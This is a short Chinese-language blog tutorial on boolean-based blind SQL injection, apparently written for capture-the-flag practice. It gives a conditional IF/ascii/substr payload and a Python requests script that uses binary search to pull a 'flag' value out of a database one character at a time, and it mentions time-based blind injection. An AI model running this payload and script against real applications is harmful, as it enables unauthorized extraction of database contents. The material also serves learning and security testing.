SQL 注入 bool 盲注

sec
Article Directory
  1. 1. 举例:

SQL 注入 bool 盲注

当一些回显的地方被限制了,只能有固定的几种输出,在测试之后,我们可以发现特定的输入会返回特定的结果之后。我们可以构造一个条件表达式猜测数据表中的内容,IF(exp, var2, var3) 这个函数会在 exp 表达式为真时,返回 var1 , 否则返回 var2 。

所以,当我们知道一些对应的 输入-输出 配对之后。我们就可以构造表达式猜测表内容。

举例:

假设有一个注入点,输入参数 1 时,返回 True,输入 2 时,返回 False,其他输入返回 Error。
我们要猜测 flag 表中的 flag 字段的 flag 值,那么我们可以构造如下 payload

1
IF(ascii(substr((select flag from flag),{var_idx},1))>	{var_c},1,2)

我们查询 flag 表中 flag 字段 ,假设我们已经知道她的长度(你可以很容易根据相同的原理测试出她的长度)我们然后从 0 - len 逐步截取一个字符,将他转为 asiic 码之后,与我们猜测的 var_c 进行对比,如果比我们猜测的内容大,那么这个表达式的结果将是 1 , 而我们已经知道输入 1 会返回 True,那么我们将知道我们的猜测是成立的,不断调整 var_c ,直到确定出一个确切的答案。

重复以上步骤,借助 二分法 或是 其他什么方法,我们可以在有限的步骤内很容易的猜出 flag

下面是一个脚本范例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

url = ""
# we assume the flag is: flag{7fc22130-88d7-4d4e-a483-bd0bc3607d35}
# result will be like this: flagz7fc22130088d704d4e0a4830bd0bc3607d35z
# z => {}
# 0 => -
# resolve = flag{7fc22130-88d7-4d4e-a483-bd0bc3607d35}

def run():
result = ''
length = 36
sql = "IF(ascii(substr((select flag from flag),{var_idx},1))> {var_c},1,2)"
for idx in range(1, length + 7):
l = ord('0')
r = ord('z')
mid = (l + r) // 2
while l < r:
payload = sql.format(var_idx=idx, var_c=mid)
print(payload)
response = requests.post(url, data={"id":payload})
# if we get a result invloved string "True", it means res > mid
if "True" in response.text:
l = mid + 1
else:
r = mid
mid = (l + r) // 2
result = result + chr(mid)
print(result)
print(result)


if __name__ == '__main__':
run()

时间盲注也是差不多原理
将返回的结果换成 sleep 函数,根据延时感知结果。

Author: 哒琳

Permalink: http://blog.jieis.cn/2022/b0cfc1ad-b9f9-466a-bfe7-40036f5fb1ea.html

Comments